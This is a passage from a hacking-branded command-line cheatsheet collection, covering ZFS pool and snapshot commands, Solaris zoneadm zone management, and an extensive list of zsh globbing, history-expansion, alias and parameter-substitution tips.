# Note: new device will be "resilvered" automatically (parity reconstruction)
#       (watch progress with 'zpool status')
zpool replace ${pool} ${failed-device} ${new-device}

# Erase zpool labels ("superblock") from a device/partition
# WARNING: MUST do before reusing a device/partition for other purposes
zpool labelclear ${device}

# Query pool configuration (properties)
zpool get all ${pool}

# Change pool configuration (property)
zpool set <property>=<value> ${pool}

# Dump the entire pool (commands) history
zpool history ${pool}

# More...
man zpool

## File systems / Volumes

# Create a new file system
zfs create ${pool}/${fs_vol}

# Create a new volume ("block device")
# Note: look for it in /dev/zvol/${pool}/${fs_vol}
zfs create -V <size> ${pool}/${fs_vol}

# List all file systems / volumes
zfs list

# Mount all file systems
# Note: see 'zfs get mountpoint ${pool}' for mountpoint root path
zfs mount -a

# Create a snapshot
zfs snapshot ${pool}/${fs_vol}@${snapshot}

# Delete a snapshot
zfs destroy ${pool}/${fs_vol}@${snapshot}

# Full backup
# Note: pipe (|) source to destination through netcat, SSH, etc.
# ... on source:
zfs send -p -R ${pool}/${fs_vol}@${snapshot}
# ... on destination:
zfs receive -F ${pool}/${fs_vol}

# Incremental backup
# Note: pipe (|) source to destination through netcat, SSH, etc.
# ... on source:
zfs send -p -R -i ${pool}/${fs_vol}@${snapshot-previous} ${pool}/${fs_vol}@${snapshot}
# ... on destination:
zfs receive -F ${pool}/${fs_vol}

# Query file system / volume configuration (properties)
zfs get all ${pool}
zfs get all ${pool}/${fs_vol}

# Change file system / volume configuration (property)
zfs set <property>=<value> ${pool}/${fs_vol}

# More...
man zfs
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

253 - 🖥️zoneadm

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the zoneadm command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#    ███████╗ ██████╗ ███╗   ██╗███████╗ █████╗ ██████╗ ███╗   ███╗
#    ╚══███╔╝██╔═══██╗████╗  ██║██╔════╝██╔══██╗██╔══██╗████╗ ████║
#      ███╔╝ ██║   ██║██╔██╗ ██║█████╗  ███████║██║  ██║██╔████╔██║
#     ███╔╝  ██║   ██║██║╚██╗██║██╔══╝  ██╔══██║██║  ██║██║╚██╔╝██║
#    ███████╗╚██████╔╝██║ ╚████║███████╗██║  ██║██████╔╝██║ ╚═╝ ██║
#    ╚══════╝ ╚═════╝ ╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝╚═════╝ ╚═╝     ╚═╝
                                                                              
                                                                             

# Halt zone
zoneadm -z <zone_name> halt

# Delete Zone 
zoneadm -z <zone_name> halt
zoneadm -z <zone_name> uninstall

# Verify Zone
zoneadm -z <zone_name> verify

# Installing Zone 
zoneadm -z <zone_name> install

# Boot Zone
zoneadm -z <zone_name> boot

# Reboot Zone
zoneadm -z <zone_name> reboot

# List Zones
zoneadm list -cv

#==============================##==============================#
# CMD ZONEADM						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

254 - 🖥️zsh

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the zsh command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗███████╗██╗  ██╗
#                ╚══███╔╝██╔════╝██║  ██║
#                  ███╔╝ ███████╗███████║
#                 ███╔╝  ╚════██║██╔══██║
#                ███████╗███████║██║  ██║
#                ╚══════╝╚══════╝╚═╝  ╚═╝
                                        
                                                                                           

# ZSH Tips 
#-----------------------#

zsh -f   # start a "clean" version of zsh (without your startup files)
print $ZSH_VERSION

man zsh
man zshall

man zsh          Zsh overview
man zshmisc      Anything not fitting into the other sections
man zshexpn      Zsh command and parameter expansion
man zshparam     Zsh parameters
man zshoptions   Zsh options
man zshbuiltins  Zsh built-in functions
man zshzle       Zsh command line editing
man zshcompwid   Zsh completion widgets
man zshcompsys   Zsh completion system
man zshcompctl   Zsh completion control
man zshmodules   Zsh loadable modules
man zshzftpsys   Zsh built-in FTP client
man zshall       Meta-man page containing all of the above info --index-search=age zsh         

# get man info for zsh function age *N*
zinfo(){info --index-search=$1 zsh} *N*

/usr/share/zsh/htmldoc/zsh_toc.html

# Install on Linux
yum install zsh *N*
yum update zsh *N*

# install from source
wget --no-check-certificate https://sourceforge.net/projects/zsh/files/zsh/5.4.2/zsh-5.4.2.tar.gz
tar zxvf zsh-5.4.2.tar.gz
yum install gcc ncurses-devel # if required
cd zsh-5.4.2 && ./configure && make && sudo make install

# Global aliases
# Searching and filtering my mysql database with my own utility searchdb
searchdb client1 | grep -i website1 | fmt -50 | putclip

# How you can simplify this using 3 zsh Global Aliases
searchdb client1 G website1 F P

alias -g ND='*(/om[1])' # newest directory
alias -g NF='*(.om[1])' # newest file

#Example of use
cp NF ND          # copy newest file to newest directory
cat NF > $(print NF).txt # *N*

# useful zsh stuff *N*
ls *(.)           # list just regular files *N*
ls -d *(/)           # list just directories *C*
ls *(.[3])        # third file *N*
vi *(.om[1])      # vi newest file
cd **/*.php(.om[1]:h) # cd to directory of newest php file *N*
gvim.exe *~vssver.scc(.om[1]) & # newest file ignoring any vssver.scc
vi -p *(.om[1,3]) # open 3 newest files in tabs (gvim)
ls -lt  **/*(.om[1,20]) # list 20 newest files anywhere in directory hierarchy (very useful) *N*
ls -lt  **/*.php(.om[1,20]) # list 20 newest php files anywhere in directory hierarchy (very useful) *N*
grep -i "$1" **/*.{js,php,css}~(libs|temp|tmp|test)/* # exclude directories from grep *N* EXTENDED_GLOB required
ls -lt **/*~*vssver.scc(.om[1,20])  # excluding vssver.scc *N*
ls -lt **/^vssver.scc(.om[1,20])    #  excluding vssver.scc (simpler) *N*
ls -lt **/^(vssver.scc|*.ini)(.om[1,20]) # excluding vssver and any *.ini *N*
ls *(.)^php~*.c~*.txt   # useful? *N*
ls (../)#junk2/down.txt(:a)   # locate a file "upwards" *N*
vi *(m0)          # re-edit all files changed today!
ls *(^m0)         # files NOT modified today
ls -l *(m4)       # list files modified exactly 4 days ago
ls -l *(.m4)      # list files modified exactly 4 days ago (ignore directories)
vi **/main.php    # where ever it is in hierarchy
ls -l **/main.{php,js,css}    #    *N*
ls fred^erick*    # list all files fred* except frederick*    *N*
ls *.^pdf         # list all but pdf's *NN*
ls (x*~x[3-5])    # list files x* except x3 to x5
ls x^[3-5]*       # list files x* except x3 to x5 *N*
ls **/*~*/.git/*  # ignore all git subdirectories *~* matches a path *N*
vi !$             # vi last parameter
vi !-2:2          # second parameter of second but last command
vi !$:r.php       # vi last parameter but change extension to .php
^php^cfm          # modify previous command (good for correcting spellos)
ls *(.L0)         # list pesky empty files (yes that is a zero) *N*
ls -l *(L-2)      # list file size less than 2 bytes *N*
ls -l *(.L-20)    # list file size less than 20 bytes - . ignore directories *N*

# zsh list largest / biggest files , files larger than
ls -l *(Lk+100)   # list file size larger/greater than 100kb *N*
ls -l *(Lm+2)     # list file size larger/greater than 2 mbs *N*
ls **/*(.Lm+10)   # list files larger than 10MB anywhere in hierarchy *N*
ls -hlS **/*(.Lm+2)  | less  # list largest files  largest first  *N*
ls -hlS /**/*(.OL[1,10]) # find the 10 biggest files on your system *N*

# find 5 largest files in hierarchy with filter by file type & exclude directories
ls -lS **/*.(php|inc)~(libs|locallibs)/*(.OL[1,5]) # *N*
ls *(.m0)  # modified today (last 24 hours)
ls *(.m-1)  # modified today (last 24 hours)
ls *(.^m0)  # not modified today
ls *.*(m3)  # modified 3 days ago
ls *.*(mh3)  # modified 3 hours ago
ls *.*(mh-3) # less than 3 hours
ls *.*(mh+3) # more than 3 hours
ls *.*(^mh3) # all files not 3 hours  old
mv *(.mw+2) old/ # older than 2 weeks *N*
mv *(.mM+6) old/ # older than 6 months *N*

# counts requires extended globbing *N*
setopt EXTENDED_GLOB   # lots of clever stuff requires this
ls DATA_[0-9](#c3).csv  # match all files DATA_nnn.csv  *N*
ls a(#c3).txt     # match aaa.txt   *N*
ls DATA_[0-9](#c4,7).csv  # match DATA_nnnn.csv to DATA_nnnnnnn.txt *N*
ls DATA_[0-9](#c4,).csv  # match DATA_nnnn.csv to DATA_nnnnn.txt etc *N*
ls DATA_[0-9](#c,4).csv  # match DATA_n.csv to DATA_nnn.txt *N*
touch {1..5} {6,7,8,12} {00..03} # *N*
ls <-> <-6> <4-> <4-5> 0<-> {1..5} {2,3} {00..03} (4|5) [3-4]  [3-47-8] 0? ?2 *2 # *N*
ls {p..q}<5->{1..4}.(#I)php(.N)  # *N*
touch {y,y2}.cfm
ls y2#.cfm y{2,}.cfm y(2|).cfm {y2,y}.cfm (y|y2).cfm y*.cfm # *N*
touch {t,p}{01..99}.{php,html,c}  # generate 600 test files *N*
#
grep -i "$1" */*.php~libs/*~temp/*~test/* # exclude directories lib,temp,test from grep *N* EXTENDED_GLOB required

# file ownership/permissions
ls -ld *.*(u:apache:)

# excluding files a-m but only if owned by apache
-rwxr-xr-x. 1 nobody (owner) apache (Group) 0 Feb 24 10:23 x.x
ls -l *.*~[a-m]*(u:nobody:g:apache:.xX)

# find all files owned by root (u0), world-writable (W), more than 10k in size (Lk+10) and modified during the last hour (m0)
ls **/*(u0WLk+10m0)

# find all files that don’t have the write permission to group in current directory and all subdirectories
ls **/*(.:g-w:)

# grep
grep -i "$1" **/*.{js,php,css}~(libs|temp|temp|test)/* # exclude directories from grep *N* EXTENDED_GLOB required
grep -iw '$direct' report/**/*.{inc,php}  # searching for a php variable

#  deleting  double dot files & swap files *N*
rm **/.*.swp

# use tab to complete/display history item before executing
!1 # oldest command in your history
!! # previous command
!-2 # command before last
!$ (last argument of previous command)
!$:h (last argument, strip one level)
!$:h:h (last argument, strip two levels)
!?echo
echo !* !!:* (all parameters)
echo !$ !!:$ (last parameter)
echo !^ !:1 !!:1 (first previous parameter)
echo !:2-3   # echo previous parameters 2 to 3 *N*
echo !:2*    # echo previous parameters 2 onwards  *N*
echo !:2-    # echo previous parameters 2 onwards omitting last *N*
echo !:-3    # echo first 3 previous parameters
echo !-2:2 (second parameter of second but last command)
echo convert_csv.php(:a) # echo full path *N*

touch 1 2 3    # *N*
!!:0 !^ !:2 !$ !#$ !#:2 !#1 !#0   #  *U*

history               # View recent commands

# history has built-in search (match) *N*
history -m 'yum*'
history -m 'yum*' 0
fc -l  -m 'yum*' 0
!42                   # Re-execute history command 42

# substitute previous command
r oldstr=newstr
!!:s/fred/joe/        # edit previous command replace first fred by joe
!!:s/fred/joe/        # Note : sadly no regexp available with :s///
!!:gs/fred/joe/       # edit previous command replace all fred by joe
mv Licence\ to\ Print\ Money.pdf !#^:gs/\\ //  # rename file removing spaces
^fred^joe             # edit previous command replace fred by joe
^str1^str2^:u:p       # replace str1 by str2 change case and just display
echo chim
^chim^&-&ney-&-&-cheree # reuse LHS
!42:p
also use control-R
^str1^str2^:G         # replace as many as possible

# in all of above remember <TAB> will display changed command WITHOUT executing it *N*

cd !?ls<TAB>   #get command and parameters of a previous ls command
cd !?ls?:*<TAB>   #get (just) parameters of a previous ls command
function scd(){setopt nonomatch;e=/dev/null;cd $1 &> $e||cd ${1}* &> $e||cd *$1 &> $e||cd *${1}* &> $e||echo sorry} *N*
function ddump(){diff -w ~dump/"$1" "$1"}   # *N* diff local file with new one in dump
function cdump(){cp -p ~dump/"$1" "$1"}   # *N* replace local file with new one in dump

# Generating a command from an earlier one
# How to recall the parameters of a previous command, on line 7 below recall the parameters of line 5

5> mv somefile1 /home/saket/stuff/books/
6> acroread somefile.pdf
7> mv somefile2 /home/saket/stuff/books/

> mv !?saket<TAB>
# Would bring up the whole line ready for a little editing
    # or purist
> mv !?saket?:*<tab>
# Would just bring up the parameters

# If you know the history number of the line (say 5) with desired parameters you can try
> !5:s/somefile1/somefile2/

# and if you dont know the history number
!?saket?:s/somefile1/somefile2/

# Variable Substitution *N*
s=(fred joe peter);echo ${s/(#m)*/$MATCH[1,3]} # truncate strings in an array

# History Substitution Summary
# For CURRENT line that you are editing (the # designates current line)
# Remember Tab will expand the following

!#:0    command
!#^     first parameter
!#:1    first parameter
!#:1-4  first 4 parameters
!#$     last parameter
!#*     all parameters
!#$:s/bash/zsh perform substitution on previous parameter

# backup a file with a prefix
cp longfilename.php backup_!#^
cp {,backup_}longfilename.php   # same thing

# backup a file with a suffix
cp longfilename.php !#^:r.bak
cp longfilename.{php,bak}   # expands to cp longfilename.php longfilename.bak

#For Previous Command (for comparison)
!-1     repeat whole command
!!      repeat (shortcut)
!!0     command
!^      first parameter
!:1     first parameter
!:1-4   first 4 parameters
!:-4  !:0-4  first 4 parameters plus command
!!-     all but last parameter *N*
!51$    last parameter of history entry 51 *N*
!$      last parameter
!*      all parameters
!!:s/bash/zsh (or ^bash^zsh)
!^:t    just file name of first parameter
!$:h    just path of last parameter
!-2$:r  just file name without extension of first parameter

For last but one command
!-2     repeat last but one command
!-2^    first parameter last but one command
!-2$    last parameter last but one command
!-2:2   second parameter of second but last command
!-2:s/bash/zsh
etc
For history command 42
!42

!:0 is the previous command name
!^, !:2, !:3, !$ are the arguments
!* is all the arguments
!-2, !-3,  are earlier commands
!-2^, !-2:2, !-2$, !-2* are earlier parameters

ls /                  # recall/step through previous parameters *N*
fred='/bin/path/fred.txt'
echo ${fred:e}
echo ${fred:t}
echo ${fred:r}
echo ${fred:h}
echo ${fred:h:h}
echo ${fred:t:r}
cd !$:h  (remove file name)

# cd to directory containing report.php
cd **/report.php(:h) *N*
cat !!:t (only file name)

# Convert images (foo.gif => foo.jpg):
$ for i in **/*.gif; convert $i $i:r.jpg

# examples of if then else conditionals *N*
[[ 0 = 0 ]] && echo eq || echo neq
[[ 1 = 0 ]] && echo eq || echo neq
if [ $# -gt 0 ];then string=$*;else;string=$(getclip);fi # get parameter OR paste buffer
var=133;if [[ "$var" = <-> ]] ; then echo "$var is numeric" ;fi
if [[ "$ip" = <-> ]] then # check ip address numeric *N*
if [[ "$1" == [0-9] ]]  # if $1 is a digit
if (( $# == 0 ));
if [ $# -gt 0 ]  # parameter cnt > 0 (arguments)
if [[ "$url" = www* ]] # begins with www
if [ "$p1" = "end" ] || [ "$p1" = "-e" ]
if [[ "$p2" == *[a-zA-Z][a-zA-Z][a-zA-Z]* ]]  # contains at least 3 letters
if builtin cd $1 &> /dev/null ;
if [[ -e /c/aam/z$1 ]]  # file exists
if [ $cnt -eq 1 ]
if (( ${#dirs} == 1 )); then   # count array length
if [[ "$pwd" == *$site2* ]]

print ${param:&}   (last substitute)

< readme.txt  # < shorthand for more

# Directory substitution (magic)
# if you were in directory
# cd old new
/c/inetpub/dev.somehomes.co.uk/epsystem/eppigeon/
cd dev www

#would put you in parallel directory
/c/inetpub/www.somehomes.co.uk/epsystem/eppigeon/

# completion
cd /v/w/h/<tab>

# expand to
# cd /var/www/html/

# filtering the output of a command conventionally
print $(history -n -1|sed 's/.* //')

# ${${(z)foo}[2]} zsh filtering mechanism
print ${${(z)$(history -n -1)}[-1]}
print ${${(z)history[$((HISTCMD-1))]}[-1]}
gvim.exe $(history -n -1 | sed "s/^[^ ]* //;s/ .*//")
print ${${(z)history[$((HISTCMD-1))]}[2]}
# save last 4 history items to a file (without numbers) *N*
fc -ln -4 > /tmp/hist   # no numbers
fc -ln 1 | grep rsync | gvim -
fc -l -5     # 5 most recent *N*
fc -l 1 5   # 5 oldest *N*
fc -l -10 -5  # 10th newest to 5 newest *N*
fc -l 1 | more  # step through all history *N*

# ls
ls **/*.php
ls -ld *(/^F)  # list any empty sub-directories
ls -ld **/*(/^F) # recursively list any empty sub-directories
print **/*(/^F) | xargs -n1 -t rmdir #delete empty directories
rmdir ./**/*(/od) 2> /dev/null # deletes empty directories
autoload zargs;zargs ./**/*.{php,inc,js} -- grep -i 'cons. unit'   *N* EXTENDED_GLOB
zargs **/*.{js,php,css}~(libs|locallibs|test|dompdf)/* -- grep console.log *C* EXTENDED_GLOB
zargs ./**/*.(php|inc|js) -- tar rvf dev2$(date '+%d-%m-%Y').tar *N*
# grep whole file structure for php files with if ($var=4) (single equals) bug
zargs ./**/*.{inc,php} -- grep -i 'if *( *$[a-z0-9_]*=[0-9"]'   ## detect if ($fred=2) type php errors (single equals) *N*
# selectively tar a web root *N*
zargs ./{html,live}/**/*.(php|inc|js)~(**/wiki|**/dompdf)/* -- tar rvf /tmp/web2$(date "+%d-%m-%Y").tar
zargs **/*.(php|inc) -- sed -i 's#ereg_replace("\([^"]*\)"#preg_replace("/\1/"#g'    ## global sed substitute using zargs *N*
zargs  /tmp/*(.m+30) -- rm
ls ^x*           # list all but x*
#list all files without an extension ( no dot)
a=(**/*(.D));echo $#a  # count files in a (huge) hierarchy *N*
ls *~*.*(.)
# delete all directories Pictures_of_* except Pictures_of_beautiful_flowers
rm -rf Pictures_of_^beautiful_flowers   # selective delete *N*
ls x*~(x3|x5)    # list files x* except x3 and x5
ls **/fred*~*junk*/* # list all files fred* unless in a junk directory
# grep, dont use egrep, grep -E is better

# single quotes stop the shell, " quotes allow shell interaction
grep 'host' **/(*.cfm~(ctpigeonbot|env).cfm)
grep -i 'host' **/(*.cfm~(ctpigeonbot|env).cfm)~*((#s)|/)junk*/*(.)
egrep -i "^ *mail\(" **/*.php
grep "^ *mail\(" **/*.php~*junk*/*  #find all calls to mail, ignoring junk directories
# grep '.' dot matches one character
grep b.g file    # match bag big bog but not boog
# grep * matches 0 , 1 or many of previous character
grep "b*g" file # matches g or bg or bbbbg
# grep '.*' matches a string
grep "b.*g" file # matches bg bag bhhg bqqqqqg etc
# grep break character is \
grep 'hello\.gif' file
grep "cat\|dog" file matches lines containing the word "cat" or the word "dog"
grep "I am a \(cat\|dog\)" matches lines containing the string "I am a cat" or the string "I am a dog"
grep "Fred\(eric\)\? Smith" file   # grep fred or frederic
# grep back references (memory)
grep -i "<H\([1-6]\).*</H\1>" *.html # matches pairs of tags
tel blenkinsop | grep -o "[[:alnum:][:graph:]]*@[[:alnum:][:graph:]]*" # filter just an email address from a text stream (not zsh) *N*

# ls
ls *.h~(fred|foo).h # same thing
ls (x*~x[3-5])   # list files x* except x3 to x5
ls *[^2].php~*template*  # list files with 2nd filter
ls (xx|yy)       # list xx or yy
ls *.(jpg|gif)   # list graphic files
ls fred{joe,sid}.pl
ls fred{09..13}.pl # range
ls fred<76-88>.pl# list all files fred76.pl to fred88.pl range
ls fred<76->.pl  # list all files fred76.pl to fred9999*.pl etc
ls {_,}fred.php  # list files _fred.php fred.php
ls (_|)fred.php  # same effect by globbing
ls *.{jpg,gif}(.N) # do not break if one or other image type absent
# FNG optionally matching a character
ls -l *y{2,}.cfm  #  matches *y.cfm and *y2.cfm *N*
ls -l *y(2|).cfm  #  matches *y.cfm and *y2.cfm *N*
ls *{y2,y}.cfm    #  matches *y.cfm and *y2.cfm *N*
ls *y2#.cfm       #  matches *y.cfm and *y2.cfm *N*
ls foot(fall)#.pl #  match optional string fall
# short version of recursive **/*.php *N*
setopt GLOB_Starshort
ls **.php

setopt no_case_glob  # set ignore case for ls etc
zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}' 'r:|[._-]=* r:|=*' 'l:|=* r:|=*'   # case insensitive completion for cd etc *N*

# globbing modifiers
# :e just the suffix  (Extension)
# :r removes the suffix  (Remove)
# :t takes away the path (Tail)
# :h takes away one level (Head)
# :a adds full Path (Add)
# . means must be regular files not directories etc
# *(om[1]) picks most recently modified file
# (.N) no warning message if any file absent
ls (#i)*.pmm     # case insensitive globbing (note exact syntax)
ls *(.[2])       # second file in list *N*
ls *(om[1])      # print the most recent file
cp *(om[1])<TAB> # will complete file name
ls *(.om[1])     # print the most recent file (not directory)
ls -l *(Om[1])   # oldest file
mv  *(.om[2,$]) old/   # move all but newest file *N*
ls -lt **/*.txt(D.om[1,5]) # list 5 most recent files in hierarchy
# list 5 most recent files in each sub-directory
dirs=( '' **/*(DM/) ) eval 'ls ${^dirs}*(ND.om[1,5])'
ls {^dev*,}/index.php(.N) # ignore directories beginning dev*
ls (dev*|fred*|joe*)/index* # does not break if no matches
ls **/index.php~dev*(/*)##   # ignore subdirectories dev* multi-level
vi *(.om[1]^D)   # vi newest file ^D means switch off GLOB_DOTS ie ignore dot files
ls *.txt(.om[1]) # ls newest *.txt file  *N*
ls -tld **/*(m-2)# list files modified in last 2 days in hierarchy
ls *(.om[1,5])    # print the 5 most recent files
ls *(.Om[1,5])    # print the 5 oldest files
ls -l *(m4)      # list files modified exactly 4 days ago
ls -ltd *(mw3)   # list files 3 weeks old
ls -1ld *([1,10])# list just 10 files one per line , no directories
ls *(m-1)        # files modified today
ls *(m0)         # files modified today
ls *(^m0)        # files NOT modified today *N*
vi *(m0)         # re-edit all files changed today!
cp *.mp3(mh-4) /tmp # copy files less than 4 hours old
ls -ltd *(mh0)    # list files modified only in last hour
ls *.{aux,dvi,log,toc} # rm latex temp files  *C*
rm ./*(Om[1,-11])# removes all files but the ten newest ones (delete all but last 10 files in a directory)
mv *.*(^m-1) old/ # move all but today its files to sub-directory archive older files *N*
# exact dates (N)
ls -l *.*(mM4)
autoload -U age
ls -tl *.*(e#age 2014/06/01 now#)
ls -tl *(.e#age 2014/06/01 2014/06/30#)
ls -lt *(.om[0,5]e#age 2017-09-01 2017-10-01#) # 5 newest files in September *N*
mv *(.e#age 2017-10-01:00:00:00 2017-10-08:23:59:59#) /tmp # mv all Sept Files

ls [01]<->201[45]/Daily\ report*.csv(e#age 2014/10/22 now#)

files=(${(f)"$(ls *$**)"}(.N))   # store matching files *N*

ls *(n:t)        # order by name strip directory
ls **/*(On:t)    # recursive reverse order by name, strip directory
ls PHP*/**/*.php # recursive but only for subdirectories PHP*
ls *.c(:r)       # strip suffix
ls **/*(.)       # only files no directories (.) means files only
ls -ld *(/)      # list only directories

#oddities
chmod g+w **/*  # group write
[[ FOO = (#i)foo ]]  # case insensitive matching
fred=$((6**2 + 6))      # can do maths
: > /apache/access.log  # truncate a log file

# arrays
X=(x1 x2)               # create an array
print -C 1 $X           # print each array element on it is own line
# 2 dimensional arrays- lookup conversion *N*
typeset -A convtable
convtable=(151 2 152 2 153 2 158 4 159 3 160 2 171 4 172 1 173 4)
echo $convtable[158]
print ${#path}          # length of "path" array
print ${#path[1]}       # length of first element in path array
print ${$( date )[2,4]} # Print words two to four of output of ’date’:
array=(~/.zshenv ~/.zshrc ~/.zlogout)
filelst[$(($#filelst+1))]=$x # append (push) to an array
filelst+=($x)           # append (push) to an array (better)
files=(${(f)"$(egrepcmd1l)"} ) # push a sentence to an array (where egrepcmd1l is a global alias
% print ${array:t}
.zshenv .zshrc .zlogout
# Substring extraction ${parameter:start:length} , default length is rest *N*
a=12345
echo ${a:2:2}
34
echo ${a:2}
345
echo ${a[1,3]}
123

# display shell variables typeset
typeset | grep '^[A-Z]='

# zsh one liners
alias -g NF='*(.om[1])' # newest file
# parse xml file putting each tag on a new line
perl -ne 's/(<\/\w+>)/$1\n/g; print' < NF > $(print NF).txt
cat NF > $(print NF).txt

# variable substitution
somevar="bu&^*ck"                  # variable with mucky characters
print ${somevar//[^[:alnum:]]/_}   # replace all non-alphanumerics with _ the // indicates global substitution *C*
echo ${file##*/}                   # echo just the file name (strip the path)
echo ${texfilepath%/*.*}           # echo just the path (strip the file name)
echo ${file%.*}                    # strip file extension
echo $file:r                       # strip file extension
echo ${0##*[!0-9]}                 # strip all but trailing digit from filename $0
echo ${(M)0%%<->}                  # strip all but trailing digit from filename
file=${1/\//C:\/}                  # substitute / with c:/ ANYWHERE in string
file=${1/#\//C:\/}                 # substitute / with c:/ Beginning of string
file=${1/%\//C:\/}                 # substitute / with c:/ End of string
                                   # note # & % are using to match beginning and end
JUNK=R.E.M.                        # substitute last . for a _
print ${JUNK/.(#e)/_}              # substitute last . for a _
print ${JUNK/%./_}                 # substitute last . for a _
wpath=${wpath//\//\\\\}            # substitute Unix / with dos \ slashes *N*
upath=${wpath//\\/\/}              # convert backslashes to forward slashes (Dos to Unix
dpath=${upath/#\/c\//c:/}          # convert /c/path/ to c:\path\ *N*
foo=$'bar\n\nbaz\n'
print ${foo//$'\n'}                # strip out any carriage returns (some systems use \r) *N*
print ${foo%%$'\n'}                # strip out a trailing carriage return *N*

url='www.some.com/some_strIng-HERe'
anchortext=${${(C)url//[_-]/ }:t}  # titlecase *N*
echo "<a href='$url'>$anchortext</a>"

# creating a family of functions
# generate hrefs from url
function href{,s}
    {
        # href creates an HTML hyperlink from a URL
        # hrefs creates an HTML hyperlink from a URL with modified anchor text
    PROGNAME=`basename $0`
    url=`cat /dev/clipboard`
        if [ "$PROGNAME" = "href" ] ; then
            href="<a href='$url'>$url"
        elif [ "$PROGNAME" = "hrefs" ] ; then
            anchortext=${${(C)url//[_-]/ }:t}
            href="<a href='$url'>$anchortext"
          fi
            echo -n $col
            echo $href > /dev/clipboard | more
    }

# access vim scratch files v1,v2 to v9
function vx{0..9} {gvim.exe c:/aax/${0/#v/} &}

# create vim scratch files va,vb to vz
function vx{a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,q,r,s,t,u,v,w,x,y,z}
    {
        scratchfile=${0/#v/}
        gvim.exe c:/aax/$scratchfile &
    }

# regular expressions in zsh  examples *N*
#pcre perl regular expressions   *N*

zmodload zsh/pcre
setopt REMATCH_PCRE

var=ddddd; [[ "$var" =~ ^d+$ ]] && echo matched || echo did not match
[[ 'cell=456' =~ '(cell)=(\d+)' ]] && echo  $match[1,2] $MATCH *N*

var=dddee; regexp="^e+$"; [[ "$var" =~ $regexp ]] && echo $regexp matched $var || echo $regexp did not match $var

# decisions
# cd to different drive depending on Windows login name
drive=$([[ "$LOGNAME" != davidr ]] && echo '/o' || echo '/c') # trad way
cd ${drive}/inetpub/wwwdev/www.some.co.uk/
drive=${${${LOGNAME:#davidr}:+/o}:-/c}                        # zsh way
cd ${drive}/inetpub/wwwdev/www.some.co.uk/

# chaining two modifications
# .om[1] gives newest file
# cyg is a zsh function doing a path conversion e.g. /c/ to C:/ *C*
cyg(){reply=("$(cygpath -m $REPLY)")}
gvim.exe $(echo /c/aax/*(.om[1]))(+cyg) &  ### nested
gvim.exe /c/aax/*(.om[1]+cyg) &            #### both operations

# odd stuff not necessarily zsh
cp -a file1 file   # -a transfer  permissions etc of file1 to file2preserve
# only copy if destination file exists and is older that source file
[[ -e $L/config.php ]] && cp -p -update $T/config.php $L *N*
# variable with variable name
eval "$1=$PWD"

# brilliant will change your life
setopt autopushd                # *C*
dirs -v                         # *N*
cd ~5                           # cd to fifth directory in directory stack
cd -<tab complete> then type number of directory needs compinit *C*
dirs -p                         # display recent directories *N*
cp file ~1                      # where 1 is first entry in pushd stack
#
cp file.txt ~+<TAB>          # select recent directory *N*
ls -1 ~1/*(.om[1])              # newest file previous directory *N*
ls -l  ~-/*(.m0)                # alternative previous directory ~- *N*
pushd +2                        # cd to 3rd entry in pushd stack
#zsh completion
startfilename<tab>           # will complete matching files anywhere in $PATH
startfilename<C-D>           # will list matching files anywhere in $PATH
vi main*~*temp*<tab>         # avoid file with temp in the name
cd /u/lo/li<tab>  completes to /usr/local/lib
#directory sizes
du -sk *(/)
# Inline aliases, zsh -g aliases can be anywhere in command line
alias -g G='| grep -'
alias -g L='| less'
#this reduces a command like
ls | grep foo | less
#to
ls G foo L
#
alias -g R=' > /c/aaa/tee.txt '           # redirect
alias -g T=' | tee /c/aaa/tee.txt '       # tee
alias -g F=' | fmt -'                     # format
alias -g W=' | wc -l'                     # wc
#

# cd by .. or ... or ... or mv file ..../.
alias '..'='cd ..'
alias -g ...='../..'
alias -g ....='../../..'
alias -g .....='../../../..'

# suffix based alias
